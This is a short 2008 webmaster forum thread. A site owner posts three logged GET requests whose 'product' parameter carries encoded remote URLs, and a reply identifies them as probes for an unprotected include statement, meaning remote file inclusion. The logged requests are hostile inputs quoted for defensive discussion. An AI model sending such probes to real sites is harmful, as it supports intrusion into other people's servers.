Forum Moderators: coopster

Message Too Old, No Replies

hack attempts

         

appi2

2:19 pm on Mar 25, 2008 (gmt 0)

10+ Year Member



Been looking through the log files at the various naughty attempts. Always had the ones below, but since January they now always come in threes. Where as before it was always two attempts. The example.com sites have various naughty scripts for exposing flaws.

GET /mydirectory/mypage?product=http%3A%2F%2Fwww.example.com%2Ffoo
GET /mydirectory/mypage?product=http%3A%2F%2Fwww.example2.com%2Ffoo
GET /mydirectory/mypage?product=http%3A%2F%2Fwww.example3.com%2Ffoo

Not realy causing any problem for the site. Just wondering if anyone knew the script/prog that these attempts come from or anything about it?

ps
WebmasterWorld why no security forum

mehh

7:30 pm on Mar 25, 2008 (gmt 0)

10+ Year Member



Looks like they are probing for an unprotected include or require statement, as discussed here [webmasterworld.com]. There isn't much you can do about it, just double check your scripts for securety holes and sit tight.